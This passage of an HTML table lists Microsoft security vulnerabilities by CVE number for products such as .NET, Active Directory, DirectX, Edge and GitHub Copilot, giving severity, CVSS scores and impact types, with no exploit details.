  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47304"><span>CVE-2026-47304</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50528"><span>CVE-2026-50528</span></a></td>
  <td width="256" class="xl74">.NET Security Feature
  Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50659"><span>CVE-2026-50659</span></a></td>
  <td width="256" class="xl74">.NET Spoofing
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50526"><span>CVE-2026-50526</span></a></td>
  <td width="256" class="xl74">.NET Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50682"><span>CVE-2026-50682</span></a></td>
  <td width="256" class="xl74">Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55001"><span>CVE-2026-55001</span></a></td>
  <td width="256" class="xl74">Active Directory
  Domain Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50647"><span>CVE-2026-50647</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50684"><span>CVE-2026-50684</span></a></td>
  <td width="256" class="xl74">Active Directory
  Federation Server Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56170"><span>CVE-2026-56170</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47300"><span>CVE-2026-47300</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47303"><span>CVE-2026-47303</span></a></td>
  <td width="256" class="xl74">ASP.NET Core Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50652"><span>CVE-2026-50652</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50653"><span>CVE-2026-50653</span></a></td>
  <td width="256" class="xl74">Azure Active Directory
  Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57969"><span>CVE-2026-57969</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58279"><span>CVE-2026-58279</span></a></td>
  <td width="256" class="xl74">Azure CycleCloud
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47632"><span>CVE-2026-47632</span></a></td>
  <td width="256" class="xl74">Azure Monitor Agent
  Metrics Extension Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50338"><span>CVE-2026-50338</span></a></td>
  <td width="256" class="xl74">Azure Spring Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50488"><span>CVE-2026-50488</span></a></td>
  <td width="256" class="xl74">Clipboard User Service
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50491"><span>CVE-2026-50491</span></a></td>
  <td width="256" class="xl74">Code Integrity DLL
  (ci.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50381"><span>CVE-2026-50381</span></a></td>
  <td width="256" class="xl74">Composite Image File
  System driver (cimfs.sys) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50427"><span>CVE-2026-50427</span></a></td>
  <td width="256" class="xl74">Content Delivery
  Manager Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50692"><span>CVE-2026-50692</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58633"><span>CVE-2026-58633</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58634"><span>CVE-2026-58634</span></a></td>
  <td width="256" class="xl74">Desktop Window Manager
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50296"><span>CVE-2026-50296</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50375"><span>CVE-2026-50375</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50353"><span>CVE-2026-50353</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50493"><span>CVE-2026-50493</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56643"><span>CVE-2026-56643</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56644"><span>CVE-2026-56644</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58629"><span>CVE-2026-58629</span></a></td>
  <td width="256" class="xl74">DirectX Graphics
  Kernel Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49174"><span>CVE-2026-49174</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50495"><span>CVE-2026-50495</span></a></td>
  <td width="256" class="xl74">DNS Client Tampering
  Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57088"><span>CVE-2026-57088</span></a></td>
  <td width="256" class="xl74">Extensible Storage
  Engine (ESENT) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50663"><span>CVE-2026-50663</span></a></td>
  <td width="256" class="xl74">Game: Age of Empires
  II: Definitive Edition Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47282"><span>CVE-2026-47282</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41109"><span>CVE-2026-41109</span></a></td>
  <td width="256" class="xl74">GitHub Copilot and
  Visual Studio Code Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50510"><span>CVE-2026-50510</span></a></td>
  <td width="256" class="xl74">GitHub Copilot Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49787"><span>CVE-2026-49787</span></a></td>
  <td width="256" class="xl74">HTTP.sys Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50420"><span>CVE-2026-50420</span></a></td>
  <td width="256" class="xl74">HTTP.sys Information
  Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49788"><span>CVE-2026-49788</span></a></td>
  <td width="256" class="xl74">HTTP/2 Denial of
  Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50696"><span>CVE-2026-50696</span></a></td>
  <td width="256" class="xl74">Internet Key Exchange
  (IKE) Protocol Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58617"><span>CVE-2026-58617</span></a></td>
  <td width="256" class="xl74">M365 Copilot for iOS
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58595"><span>CVE-2026-58595</span></a></td>
  <td width="256" class="xl74">Microsoft Bing App for
  IOS Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
